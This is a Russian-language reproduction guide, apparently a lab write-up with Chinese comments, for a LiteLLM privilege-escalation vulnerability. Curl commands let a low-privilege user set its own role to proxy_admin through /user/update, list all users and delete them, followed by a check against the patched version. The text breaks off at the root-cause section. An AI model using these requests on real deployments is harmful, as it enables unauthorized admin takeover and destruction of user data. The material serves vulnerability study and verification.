
Код для самостоятельного воспроизведения соответствующей уязвимости
/user/updateКонечная точка
/user/updateв LiteLLM v1.83.7 (до версии v1.83.10) позволяет пользователям с низкими привилегиями, имеющим доступ к этой конечной точке, изменять полеuser_roleнаproxy_adminпри обновлении собственной записи, что приводит к неавторизованному повышению привилегий.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Затронутые версии | LiteLLM < 1.83.10 (подтверждено в v1.83.7) |
| Исправлено | v1.83.10+ (добавлена проверка прав на изменение поля user_role) |
| Опубликовано | 2026-05-21 |
| Обнаружено | Fenix Qiao (13ph03nix) — Obsidian Security |
| Ссылки | NVD |
Конечная точка /user/update в LiteLLM используется для обновления атрибутов пользователя. В затронутых версиях функция can_user_call_user_update() в /user/update проверяет, имеет ли пользователь право обновлять указанного пользователя (пользователю разрешено обновлять собственную запись), но не накладывает никаких ограничений на изменяемые поля.
Это означает, что любой пользователь, имеющий доступ к конечной точке /user/update (например, пользователь, которому администратор предоставил права на этот маршрут, или злоумышленник, получивший доступ к этой конечной точке через другую уязвимость), может повысить свою роль до proxy_admin, изменив собственное поле user_role, и получить полный доступ ко всем административным конечным точкам.
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
| Параметр | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Суть уязвимости | /key/generate не проверяет allowed_routes | /user/update без проверки прав на уровне полей |
| Условие атаки | internal_user может напрямую вызывать /key/generate | требуется сначала получить доступ к маршруту /user/update |
| Версия исправления | v1.83.14 | v1.83.10 |
Обе уязвимости можно использовать в связке: CVE-2026-47101 — для создания wildcard key с маршрутом (доступ к
/user/update), CVE-2026-47102 — для повышения собственной роли доproxy_admin.
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
Ожидаемый вывод должен содержать журналы успешного запуска, например Uvicorn running on http://0.0.0.0:4000.
Создайте учётную запись internal_user с низкими привилегиями, используя master key:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Администратор создаёт для internal_user API key с правом доступа к маршруту /user/update. Это типичный способ получения доступа к конечной точке /user/update в реальной среде:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Ожидаемый вывод:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Используя key с правами на маршрут /user/update, полученный на предыдущем шаге, повысьте роль пользователя до proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Ожидаемый вывод:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Суть уязвимости:
user_roleизменился сinternal_userнаproxy_admin! Конечная точка/user/updateпозволяет пользователю изменять собственное полеuser_roleбез каких-либо ограничений на уровне полей.
Проверьте, что повышение роли вступило в силу, через конечную точку /user/list (используйте исходный API key internal_user; этот key не ограничен по маршрутам и после повышения до proxy_admin автоматически получает права администратора):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Ожидаемый вывод:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Используя полученные права proxy_admin, можно удалить любого пользователя через /user/delete (также с исходным API key internal_user):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Ожидаемый вывод:
1
Все описанные выше шаги объединены в demo.sh, который можно запустить напрямую:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
Запустите исправленную версию (v1.83.10-stable), чтобы убедиться, что CVE-2026-47102 устранена:
docker compose --profile fixed up -d litellm-fixed
Создайте internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Создайте key с маршрутом /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Попробуйте повысить привилегии (ожидается блокировка):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Ожидаемый вывод (исправленная версия блокирует запрос с превышением прав):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Сравнение с уязвимой версией:
| Сценарий тестирования | Уязвимая версия (v1.83.7) | Исправленная версия (v1.83.10) |
|---|---|---|
| Изменение user_role key с маршрутом | ✅ Успешно повышен до proxy_admin | ❌ Заблокировано ("Only proxy admins can modify user roles.") |
| Доступ к /user/list | ✅ Список пользователей получен | ❌ Заблокировано |
Корень уязвимости находится в функции can_user_call_user_update() конечной точки /user/update: